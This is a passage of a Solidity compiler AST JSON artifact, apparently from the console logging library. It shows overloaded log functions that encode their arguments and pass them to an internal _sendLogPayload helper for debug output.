\"log(uint256,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25003,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12071:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25004,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12075:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12071:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25009,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12071:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25002,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12055:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25010,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12055:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25011,"nodeType":"ExpressionStatement","src":"12055:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11991:3:15","parameters":{"id":25000,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24995,"mutability":"mutable","name":"p0","nameLocation":"12003:2:15","nodeType":"VariableDeclaration","scope":25013,"src":"11995:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24994,"name":"uint256","nodeType":"ElementaryTypeName","src":"11995:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24997,"mutability":"mutable","name":"p1","nameLocation":"12015:2:15","nodeType":"VariableDeclaration","scope":25013,"src":"12007:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24996,"name":"address","nodeType":"ElementaryTypeName","src":"12007:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24999,"mutability":"mutable","name":"p2","nameLocation":"12027:2:15","nodeType":"VariableDeclaration","scope":25013,"src":"12019:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24998,"name":"address","nodeType":"ElementaryTypeName","src":"12019:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11994:36:15"},"returnParameters":{"id":25001,"nodeType":"ParameterList","parameters":[],"src":"12045:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25033,"nodeType":"FunctionDefinition","src":"12152:169:15","nodes":[],"body":{"id":25032,"nodeType":"Block","src":"12221:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c75696e7432353629","id":25025,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12271:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ca47c4ebe9fba29faff9e6b57fbe69e17216e7526486c463d61c06e8992beece","typeString":"literal_string \"log(string,uint256,uint256)\""},"value":"log(string,uint256,uint256)"},{"id":25026,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25015,"src":"12302:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25027,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25017,"src":"12306:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25028,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25019,"src":"12310:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ca47c4ebe9fba29faff9e6b57fbe69e17216e7526486c463d61c06e8992beece","typeString":"literal_string \"log(string,uint256,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25023,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12247:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25024,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12251:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12247:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12247:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25022,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12231:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12231:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25031,"nodeType":"ExpressionStatement","src":"12231:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12161:3:15","parameters":{"id":25020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25015,"mutability":"mutable","name":"p0","nameLocation":"12179:2:15","nodeType":"VariableDeclaration","scope":25033,"src":"12165:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25014,"name":"string","nodeType":"ElementaryTypeName","src":"12165:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25017,"mutability":"mutable","name":"p1","nameLocation":"12191:2:15","nodeType":"VariableDeclaration","scope":25033,"src":"12183:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25016,"name":"uint256","nodeType":"ElementaryTypeName","src":"12183:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25019,"mutability":"mutable","name":"p2","nameLocation":"12203:2:15","nodeType":"VariableDeclaration","scope":25033,"src":"12195:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25018,"name":"uint256","nodeType":"ElementaryTypeName","src":"12195:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12164:42:15"},"returnParameters":{"id":25021,"nodeType":"ParameterList","parameters":[],"src":"12221:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25053,"nodeType":"FunctionDefinition","src":"12327:174:15","nodes":[],"body":{"id":25052,"nodeType":"Block","src":"12402:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c737472696e6729","id":25045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12452:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5970e089c65c5d431d60f26e6cf1ec3984c873a96b59f1aed9fc44cdf9078bcf","typeString":"literal_string \"log(string,uint256,string)\""},"value":"log(string,uint256,string)"},{"id":25046,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25035,"src":"12482:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25047,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25037,"src":"12486:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25048,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25039,"src":"12490:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5970e089c65c5d431d60f26e6cf1ec3984c873a96b59f1aed9fc44cdf9078bcf","typeString":"literal_string \"log(string,uint256,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25043,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12428:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25044,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12432:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12428:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12428:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25042,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12412:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12412:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25051,"nodeType":"ExpressionStatement","src":"12412:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12336:3:15","parameters":{"id":25040,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25035,"mutability":"mutable","name":"p0","nameLocation":"12354:2:15","nodeType":"VariableDeclaration","scope":25053,"src":"12340:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25034,"name":"string","nodeType":"ElementaryTypeName","src":"12340:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25037,"mutability":"mutable","name":"p1","nameLocation":"12366:2:15","nodeType":"VariableDeclaration","scope":25053,"src":"12358:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25036,"name":"uint256","nodeType":"ElementaryTypeName","src":"12358:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25039,"mutability":"mutable","name":"p2","nameLocation":"12384:2:15","nodeType":"VariableDeclaration","scope":25053,"src":"12370:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25038,"name":"string","nodeType":"ElementaryTypeName","src":"12370:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12339:48:15"},"returnParameters":{"id":25041,"nodeType":"ParameterList","parameters":[],"src":"12402:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25073,"nodeType":"FunctionDefinition","src":"12507:163:15","nodes":[],"body":{"id":25072,"nodeType":"Block","src":"12573:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c626f6f6c29","id":25065,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12623:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ca7733b1b473f13a94152fab2b969755f42d925703a46c93a1825aad614f145e","typeString":"literal_string \"log(string,uint256,bool)\""},"value":"log(string,uint256,bool)"},{"id":25066,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25055,"src":"12651:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25067,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25057,"src":"12655:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25068,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25059,"src":"12659:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ca7733b1b473f13a94152fab2b969755f42d925703a46c93a1825aad614f145e","typeString":"literal_string \"log(string,uint256,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25063,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12599:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25064,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12603:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12599:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25069,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12599:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25062,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12583:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12583:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25071,"nodeType":"ExpressionStatement","src":"12583:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12516:3:15","parameters":{"id":25060,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25055,"mutability":"mutable","name":"p0","nameLocation":"12534:2:15","nodeType":"VariableDeclaration","scope":25073,"src":"12520:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25054,"name":"string","nodeType":"ElementaryTypeName","src":"12520:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25057,"mutability":"mutable","name":"p1","nameLocation":"12546:2:15","nodeType":"VariableDeclaration","scope":25073,"src":"12538:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25056,"name":"uint256","nodeType":"ElementaryTypeName","src":"12538:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25059,"mutability":"mutable","name":"p2","nameLocation":"12555:2:15","nodeType":"VariableDeclaration","scope":25073,"src":"12550:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25058,"name":"bool","nodeType":"ElementaryTypeName","src":"12550:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"12519:39:15"},"returnParameters":{"id":25061,"nodeType":"ParameterList","parameters":[],"src":"12573:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25093,"nodeType":"FunctionDefinition","src":"12676:169:15","nodes":[],"body":{"id":25092,"nodeType":"Block","src":"12745:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c6164647265737329","id":25085,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12795:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f27335","typeString":"literal_string \"log(string,uint256,address)\""},"value":"log(string,uint256,address)"},{"id":25086,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25075,"src":"12826:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25087,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25077,"src":"12830:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25088,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25079,"src":"12834:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f27335","typeString":"literal_string \"log(string,uint256,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25083,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12771:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25084,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12775:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12771:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25089,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12771:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25082,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12755:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25090,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12755:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25091,"nodeType":"ExpressionStatement","src":"12755:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12685:3:15","parameters":{"id":25080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25075,"mutability":"mutable","name":"p0","nameLocation":"12703:2:15","nodeType":"VariableDeclaration","scope":25093,"src":"12689:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25074,"name":"string","nodeType":"ElementaryTypeName","src":"12689:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25077,"mutability":"mutable","name":"p1","nameLocation":"12715:2:15","nodeType":"VariableDeclaration","scope":25093,"src":"12707:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25076,"name":"uint256","nodeType":"ElementaryTypeName","src":"12707:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25079,"mutability":"mutable","name":"p2","nameLocation":"12727:2:15","nodeType":"VariableDeclaration","scope":25093,"src":"12719:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25078,"name":"address","nodeType":"ElementaryTypeName","src":"12719:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12688:42:15"},"returnParameters":{"id":25081,"nodeType":"ParameterList","parameters":[],"src":"12745:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25113,"nodeType":"FunctionDefinition","src":"12851:174:15","nodes":[],"body":{"id":25112,"nodeType":"Block","src":"12926:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e7432353629","id":25105,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12976:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5821efa12787fd2b80909e807f1dcc73717b87128d89e827e5b876178f2fdbd0","typeString":"literal_string \"log(string,string,uint256)\""},"value":"log(string,string,uint256)"},{"id":25106,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25095,"src":"13006:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25107,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25097,"src":"13010:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25108,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25099,"src":"13014:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5821efa12787fd2b80909e807f1dcc73717b87128d89e827e5b876178f2fdbd0","typeString":"literal_string \"log(string,string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25103,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12952:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25104,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12956:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12952:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12952:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25102,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"12936:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12936:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25111,"nodeType":"ExpressionStatement","src":"12936:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12860:3:15","parameters":{"id":25100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25095,"mutability":"mutable","name":"p0","nameLocation":"12878:2:15","nodeType":"VariableDeclaration","scope":25113,"src":"12864:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25094,"name":"string","nodeType":"ElementaryTypeName","src":"12864:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25097,"mutability":"mutable","name":"p1","nameLocation":"12896:2:15","nodeType":"VariableDeclaration","scope":25113,"src":"12882:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25096,"name":"string","nodeType":"ElementaryTypeName","src":"12882:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25099,"mutability":"mutable","name":"p2","nameLocation":"12908:2:15","nodeType":"VariableDeclaration","scope":25113,"src":"12900:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25098,"name":"uint256","nodeType":"ElementaryTypeName","src":"12900:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12863:48:15"},"returnParameters":{"id":25101,"nodeType":"ParameterList","parameters":[],"src":"12926:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25133,"nodeType":"FunctionDefinition","src":"13031:179:15","nodes":[],"body":{"id":25132,"nodeType":"Block","src":"13112:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e6729","id":25125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13162:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2ced7cef693312206c21f0e92e3b54e2e16bf33db5eec350c78866822c665e1f","typeString":"literal_string \"log(string,string,string)\""},"value":"log(string,string,string)"},{"id":25126,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25115,"src":"13191:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25127,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25117,"src":"13195:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25128,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25119,"src":"13199:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2ced7cef693312206c21f0e92e3b54e2e16bf33db5eec350c78866822c665e1f","typeString":"literal_string \"log(string,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25123,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13138:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25124,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13142:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13138:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25129,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13138:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 